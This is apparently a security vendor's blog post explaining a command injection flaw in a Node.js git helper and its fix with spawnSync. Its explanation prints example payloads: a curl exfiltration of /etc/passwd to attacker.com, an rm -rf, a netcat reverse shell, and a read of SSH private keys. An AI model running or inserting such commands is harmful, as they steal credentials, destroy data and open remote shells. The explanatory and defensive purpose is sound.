Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `src/collectors/git.ts`, where `execSync` was used to build a shell command by interpolating unsanitized arguments into a template string. By replacing `execSync` with `spawnSync`, the fix eliminates shell interpretation entirely, ensuring that git arguments are passed directly to the process without ever touching a shell. This change is especially important for a Node.js library, where downstream consumers may pass user-controlle

O
By Orbis AppSec
Published August 15, 2026Reviewed August 15, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Node.js TypeScript file (`src/collectors/git.ts`), where `execSync` constructed a shell command by interpolating an `args` array with string concatenation (`git ${args.join(' ')}`). Any user-controlled value in `args` could inject arbitrary shell commands. The fix replaces `execSync` with `spawnSync('git', args, ...)`, which passes arguments directly to the `git` process without invoking a shell, eliminating the injection surface entirely.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace execSync with spawnSync, passing args as an array to bypass shell interpretation
riskArbitrary shell command execution if args array contains user-controlled input
languageTypeScript / Node.js
root causeexecSync interpolates args into a shell string, enabling shell metacharacter injection
vulnerabilityCommand Injection via child_process.execSync

How Command Injection Happens in Node.js child_process Calls and How to Fix It

The git.ts File Had a Shell Hiding in Plain Sight

The src/collectors/git.ts file is responsible for collecting Git repository metadata — things like ahead/behind sync status and file change counts. Its core helper, execGit, accepts an array of arguments and runs them against the local git binary. On the surface, this looks like a routine utility function. But the original implementation contained a subtle and dangerous flaw: it handed those arguments to a shell.

Here's the vulnerable code at line 15:

// BEFORE — vulnerable
import { execSync } from 'child_process';

function execGit(args: string[], cwd?: string): string | null {
  try {
    const result = execSync(`git ${args.join(' ')}`, {
      cwd: cwd || process.cwd(),
      encoding: 'utf-8',
      stdio: ['pipe', 'pipe', 'pipe'],
      timeout: 5000,
    });
    return result.trim();
  } catch {
    return null;
  }
}

The problem is the template literal: `git ${args.join(' ')}`. This constructs a shell command string by joining the args array with spaces and concatenating it after git. That string is then handed to execSync, which — critically — invokes a shell to interpret it. Every shell metacharacter in args is live.


The Vulnerability Explained

Why execSync with String Interpolation Is Dangerous

execSync in Node.js, by default, spawns /bin/sh -c <command> (on Unix-like systems) or cmd.exe /d /s /c <command> on Windows. This means the entire command string is parsed by a shell before git ever sees it.

When args contains values like:

["log", "--oneline; curl https://attacker.com/exfil?data=$(cat /etc/passwd)"]

The resulting command string becomes:

git log --oneline; curl https://attacker.com/exfil?data=$(cat /etc/passwd)

The shell interprets the semicolon as a command separator and executes both commands. The git process runs normally, and the injected command runs silently alongside it.

Attack Scenario Specific to This Code

This is a Node.js library, meaning its execGit function could be called by downstream consumers who construct args from user input — for example, a web application that lets users specify a branch name, a file path, or a commit range to inspect.

Consider a scenario where a downstream app passes a user-supplied branch name:

// Downstream consumer — vulnerable usage
const branch = req.query.branch; // user-controlled
execGit(['log', '--oneline', branch]);

If branch is set to main; rm -rf /tmp/important-data, the resulting shell command is:

git log --oneline main; rm -rf /tmp/important-data

Other dangerous payloads include:
- $(whoami) — command substitution
- | nc attacker.com 4444 -e /bin/sh — reverse shell via pipe
- `cat ~/.ssh/id_rsa` — backtick execution

The catch {} block in the original code actually makes this worse from a detection standpoint: it silently swallows errors, so a partially successful injection (where git fails but the injected command succeeds) returns null without raising any alarm.

Real-World Impact

Because this is a library, the blast radius extends beyond the repository itself. Any application that installs this package and passes externally-sourced strings into execGit inherits the vulnerability. In CI/CD environments, where git tooling often runs with elevated permissions or access to secrets, this is especially critical.


The Fix

Replace execSync with spawnSync — Eliminate the Shell Entirely

The fix is clean, minimal, and architecturally sound:

// AFTER — fixed
import { spawnSync } from 'child_process';

function execGit(args: string[], cwd?: string): string | null {
  const result = spawnSync('git', args, {
    cwd: cwd || process.cwd(),
    encoding: 'utf-8',
    stdio: ['pipe', 'pipe', 'pipe'],
    timeout: 5000,
  });
  if (result.error || result.status !== 0) return null;
  return result.stdout.trim();
}

What Changed and Why It Matters

Aspect Before After
Function execSync(string) spawnSync('git', args[])
Shell invoked? ✅ Yes (/bin/sh -c ...) ❌ No
Args handling String interpolation via args.join(' ') Array passed directly to the process
Metachar risk ;, \|, $(), backticks all active No shell, no metacharacters
Error handling try/catch swallows all errors Explicit result.error and result.status check

The key insight is that spawnSync('git', args, ...) never invokes a shell. The Node.js runtime passes the args array directly to the operating system's execve syscall (or equivalent). Each element of args is treated as a literal argument to git — there is no string parsing, no metacharacter interpretation, and no shell expansion.

This means even a malicious input like "--oneline; rm -rf /" is passed to git as a single, literal argument string. Git will reject it as an invalid argument. No shell command runs.

The fix also improves error handling: instead of a broad try/catch that silently swallows everything, the new code explicitly checks result.error (process spawn failure) and result.status !== 0 (non-zero exit code), returning null only in those cases. This is more transparent and debuggable.


Key Takeaways

  • The execGit function in git.ts was one template literal away from a shell — the pattern `git ${args.join(' ')}` is the exact shape of a command injection sink.
  • execSync always invokes a shell — any string passed to it is shell-interpreted, making metacharacter injection trivially easy.
  • spawnSync('git', args) is not just "safer" — it's categorically different — there is no shell process, so there are no metacharacters to escape or sanitize.
  • Library code has an amplified attack surface — a vulnerability in execGit affects every downstream consumer who passes external input, not just this one repository.
  • Swallowing errors with catch {} can mask successful injections — the new explicit result.error || result.status !== 0 check is both safer and more transparent.

How Orbis AppSec Detected This

  • Source: The args: string[] parameter of the execGit function in src/collectors/git.ts — an array whose elements may originate from user-controlled or externally-sourced input in downstream consumers.
  • Sink: execSync(`git ${args.join(' ')}`, ...) at src/collectors/git.ts:15 — a shell command constructed by interpolating the args array into a template literal.
  • Missing control: No sanitization, escaping, or allowlisting of args elements before they were joined into the shell command string.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced execSync with spawnSync('git', args, ...), passing arguments as an array directly to the git process and bypassing shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in src/collectors/git.ts is a textbook example of how a small, seemingly innocuous code pattern — joining an array into a string and passing it to execSync — can open the door to full command injection. The fix is equally instructive: by switching from execSync to spawnSync with an argument array, the shell is eliminated from the equation entirely. No shell means no shell metacharacters, and no shell metacharacters means no injection.

For Node.js developers working with child_process, the rule of thumb is simple: if you can use an argument array, use it. Reserve shell-based execution (exec, execSync) for cases where you genuinely need shell features like globbing or piping — and never feed user input into those strings without robust, defense-in-depth validation.

Security isn't always about complex cryptographic protocols or sophisticated runtime defenses. Sometimes it's about choosing the right function.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #15

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.